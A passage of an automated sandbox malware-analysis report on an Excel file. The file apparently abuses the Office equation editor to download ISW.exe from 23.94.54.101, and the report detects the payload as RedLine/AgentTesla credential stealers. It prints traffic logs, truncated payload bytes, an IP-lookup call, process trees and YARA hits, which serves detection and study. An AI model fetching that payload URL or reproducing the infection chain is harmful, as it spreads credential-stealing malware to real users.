May 2, 2024 17:39:46.875262022 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.875279903 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875348091 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875387907 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.875427008 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875495911 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.875519991 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875617027 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875657082 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.875698090 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875785112 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875822067 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.875900030 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875950098 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875988007 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.876043081 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876091957 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876136065 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.876137018 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876203060 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876230001 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.876241922 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876281977 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.876302958 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876358986 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876391888 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876399040 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.876456022 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876492977 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.876555920 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876625061 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876666069 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.876687050 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876709938 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876746893 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.876787901 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876835108 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876873970 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.876897097 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.876971960 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877011061 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.877046108 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877099991 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877141953 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.877177954 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877286911 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877327919 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.877408981 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877443075 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877484083 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877485037 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.877554893 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877592087 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877592087 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.877652884 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877693892 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.877717972 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877758980 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877800941 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.877806902 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877855062 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877890110 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.877909899 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.877975941 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878016949 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.878026009 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878076077 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878115892 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878117085 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.878189087 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878231049 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.878240108 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878329039 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878366947 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.878398895 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878467083 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878505945 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.878510952 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878573895 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878611088 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.878715992 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878779888 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878822088 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878822088 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.878868103 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.878907919 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.878937006 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879023075 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879064083 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.879087925 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879239082 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879278898 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.879360914 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879451036 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879492044 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.879551888 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879626036 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879663944 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.879700899 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879714012 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879745007 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.879827023 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879898071 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.879936934 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.879961014 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.880038977 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.880076885 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.880105972 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:47.079874039 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:47.265019894 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:48.817950010 CEST	49162	443	192.168.2.22	104.26.12.205
May 2, 2024 17:39:48.817984104 CEST	443	49162	104.26.12.205	192.168.2.22
May 2, 2024 17:39:48.818156958 CEST	49162	443	192.168.2.22	104.26.12.205
May 2, 2024 17:39:48.822304010 CEST	49162	443	192.168.2.22	104.26.12.205
May 2, 2024 17:39:48.822316885 CEST	443	49162	104.26.12.205	192.168.2.22
May 2, 2024 17:39:49.008527994 CEST	443	49162	104.26.12.205	192.168.2.22
May 2, 2024 17:39:49.008620977 CEST	49162	443	192.168.2.22	104.26.12.205
May 2, 2024 17:39:49.015948057 CEST	49162	443	192.168.2.22	104.26.12.205
May 2, 2024 17:39:49.015953064 CEST	443	49162	104.26.12.205	192.168.2.22
May 2, 2024 17:39:49.016211033 CEST	443	49162	104.26.12.205	192.168.2.22
May 2, 2024 17:39:49.099980116 CEST	49162	443	192.168.2.22	104.26.12.205
May 2, 2024 17:39:49.140129089 CEST	443	49162	104.26.12.205	192.168.2.22
May 2, 2024 17:39:49.290808916 CEST	443	49162	104.26.12.205	192.168.2.22
May 2, 2024 17:39:49.290865898 CEST	443	49162	104.26.12.205	192.168.2.22
May 2, 2024 17:39:49.290916920 CEST	49162	443	192.168.2.22	104.26.12.205
May 2, 2024 17:39:49.301601887 CEST	49162	443	192.168.2.22	104.26.12.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 2, 2024 17:39:48.615206957 CEST	54562	53	192.168.2.22	8.8.8.8
May 2, 2024 17:39:48.712471962 CEST	53	54562	8.8.8.8	192.168.2.22
May 2, 2024 17:39:48.714919090 CEST	54562	53	192.168.2.22	8.8.8.8
May 2, 2024 17:39:48.810549021 CEST	53	54562	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 2, 2024 17:39:48.615206957 CEST	192.168.2.22	8.8.8.8	0xf793	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
May 2, 2024 17:39:48.714919090 CEST	192.168.2.22	8.8.8.8	0xf793	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 2, 2024 17:39:48.712471962 CEST	8.8.8.8	192.168.2.22	0xf793	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
May 2, 2024 17:39:48.712471962 CEST	8.8.8.8	192.168.2.22	0xf793	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
May 2, 2024 17:39:48.712471962 CEST	8.8.8.8	192.168.2.22	0xf793	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
May 2, 2024 17:39:48.810549021 CEST	8.8.8.8	192.168.2.22	0xf793	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
May 2, 2024 17:39:48.810549021 CEST	8.8.8.8	192.168.2.22	0xf793	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
May 2, 2024 17:39:48.810549021 CEST	8.8.8.8	192.168.2.22	0xf793	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

23.94.54.101

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	23.94.54.101	80	2064	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 17:39:45.771538019 CEST	69	OUT	GET /ISW.exe HTTP/1.1 Connection: Keep-Alive Host: 23.94.54.101
May 2, 2024 17:39:45.883047104 CEST	1289	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Thu, 02 May 2024 19:48:58 GMT Accept-Ranges: bytes ETag: W/"57b5b9c5c99cda1:0" Server: Microsoft-IIS/8.5 Date: Thu, 02 May 2024 15:39:45 GMT Content-Length: 1219072 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7d 61 33 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 ea 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL}a3f"w@N@@@d\|@.pu4@.text `.rdata@@.datalpH@.rsrc.@0@@.relocupv$@B [TRUNCATED]
May 2, 2024 17:39:45.883065939 CEST	1289	IN	Data Raw: 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 44 00 e8 72 f0 01 00 59 c3 e8 59 3c 00 00 68 fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 Data Ascii: Yh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3
May 2, 2024 17:39:45.883079052 CEST	1289	IN	Data Raw: c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 00 8d 8f 6c Data Ascii: O_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
May 2, 2024 17:39:45.883085966 CEST	1289	IN	Data Raw: 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 8b 7f 38 eb d2 8b 40 38 eb ee 33 c0 c7 05 80 18 4d 00 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 Data Ascii: C{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF
May 2, 2024 17:39:45.992738008 CEST	1289	IN	Data Raw: 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b 49 30 eb e5 55 8b ec 83 ec 18 83 65 ec 00 8d 45 ec 83 65 f4 00 56 Data Ascii: x3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3WyQ>t(M@
May 2, 2024 17:39:45.992767096 CEST	1289	IN	Data Raw: fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 8b 45 fc 48 4f 83 bd 6c ff ff ff 00 89 45 fc 0f 84 83 03 04 00 80 bd 75 ff ff ff 00 8b 45 c0 0f 85 7b 03 04 00 8b 18 8d 8d 6c ff ff ff e8 65 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 45 fc 85 Data Ascii: AjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuW
May 2, 2024 17:39:45.992786884 CEST	1289	IN	Data Raw: 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 00 33 c0 5d c2 20 00 6a ff 6a 77 e9 73 01 04 00 6a ff 6a 73 e9 6a Data Ascii: }}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFMLU
May 2, 2024 17:39:45.992806911 CEST	1289	IN	Data Raw: 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 88 5d b4 e8 78 1c 00 00 8b 4d 0c be 18 14 4d 00 8a 45 b4 88 01 8b ce e8 db 0b 00 00 68 9c ca 49 00 8d 4d e0 e8 27 6e 00 00 6a 01 ff 35 18 14 4d 00 8d 4d b8 89 5d c4 89 5d Data Ascii: {uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]EmSSEPEPxMEciMluM"z
May 2, 2024 17:39:45.992830038 CEST	1289	IN	Data Raw: 48 04 eb ee 55 8b ec b8 04 00 01 00 e8 ec eb 03 00 56 8d 45 fc 8b f2 50 8d 85 fc ff fe ff 50 68 ff 7f 00 00 ff 31 ff 15 68 c3 49 00 8b 45 fc 85 c0 74 05 33 c9 66 89 08 8d 8d fc ff fe ff e8 11 00 00 00 8d 85 fc ff fe ff 8b ce 50 e8 b3 37 00 00 5e Data Ascii: HUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;Qu_^]USVWueYN3C;FPiq?PFuCP~3N_fH
May 2, 2024 17:39:45.992855072 CEST	1289	IN	Data Raw: 50 e8 de ea 01 00 83 c4 0c 39 9e 98 01 00 00 75 0b a1 e4 13 4d 00 89 86 98 01 00 00 39 9e a4 01 00 00 75 11 a1 e8 13 4d 00 89 86 a4 01 00 00 89 86 a8 01 00 00 39 9e b0 01 00 00 75 0b a1 ec 13 4d 00 89 86 b0 01 00 00 8d 9e a0 01 00 00 53 8d be 9c Data Ascii: P9uM9uM9uMSW[Md$$D$F@D$D$D$ qD$$=hMD$PjIhM_^[]U=hMVhL$#)=
May 2, 2024 17:39:45.992876053 CEST	1289	IN	Data Raw: 89 5f 08 89 5f 0c 89 5f 10 89 5f 14 89 5f 4c 66 89 1f e8 64 2a 00 00 8d 4f 28 e8 7a da ff ff 39 5f 58 0f 87 f6 f6 03 00 8d 4f 50 5f 5b e9 3e da ff ff 50 e8 77 c0 01 00 59 eb b9 55 8b ec 53 8b 5d 08 83 e3 01 f6 45 08 02 56 8b f1 0f 84 e9 f6 03 00 Data Ascii: _____Lfd*O(z9_XOP_[>PwYUS]EVWhA@~7jV&tQWYY_^[]VWj^$MZu MMrZMhZM^ZMTZMJZM@Z_M^4

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49162	104.26.12.205	443	1128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:39:49 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-02 15:39:49 UTC	211	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:39:49 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87d91b305e0a0fa9-EWR
2024-05-02 15:39:49 UTC	14	IN	Data Raw: 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 Data Ascii: 191.96.150.225

Target ID:	0
Start time:	17:38:55
Start date:	02/05/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f650000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	17:39:44
Start date:	02/05/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:39:45
Start date:	02/05/2024
Path:	C:\Users\user\AppData\Roaming\CKK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\CKK.exe"
Imagebase:	0xff330000
File size:	1'219'072 bytes
MD5 hash:	6DBF70053A37B13C106C623E0934DDFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000003.00000002.447488825.0000000000140000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000003.00000002.447488825.0000000000140000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs Detection: 40%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:39:46
Start date:	02/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\CKK.exe"
Imagebase:	0xec0000
File size:	45'248 bytes
MD5 hash:	19855C0DC5BEC9FDF925307C57F9F5FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000004.00000002.608358959.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000004.00000002.608358959.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.608494898.0000000002493000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	82.8%
Total number of Nodes:	705
Total number of Limit Nodes:	70

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 035904C4 Relevance: 4.6, APIs: 3, Instructions: 119
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 035904E8: WriteFile.KERNELBASE(0359043C,03590453,00000000,00000000,00000000,?,03590453,0359043C,00000000,00000000,00000000,00000000,035903F5,00000050,00000000), ref: 0359054B

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,03590592,?,03590570), ref: 035905CA
ExitProcess.KERNELBASE(00000000,?,035905D1,?,03590592,?,03590570,?,?,03590557,00000000,00000000,00000000,00000000,035903F5,00000050), ref: 035905E2

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: Process$CreateExitFileWrite
String ID:
API String ID: 3739231918-0
Opcode ID: ecf8aac7c8f5a532ebe00187704931cd21d5dcfcf7f73e5d55e0df0344cecd4e
Instruction ID: ab80fd62e361bf13975b4a836761c1b68d510960ee618f0de1cd2fbfb8721254
Opcode Fuzzy Hash: ecf8aac7c8f5a532ebe00187704931cd21d5dcfcf7f73e5d55e0df0344cecd4e
Instruction Fuzzy Hash: AA31E7B14083415AEF21EAA4E980AAFFB7DFFC1700F188D4FE192470B2D671D5089661

Uniqueness

Uniqueness Score: -1.00%

Function 03590502 Relevance: 4.6, APIs: 3, Instructions: 98
processfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(0359043C,03590453,00000000,00000000,00000000,?,03590453,0359043C,00000000,00000000,00000000,00000000,035903F5,00000050,00000000), ref: 0359054B
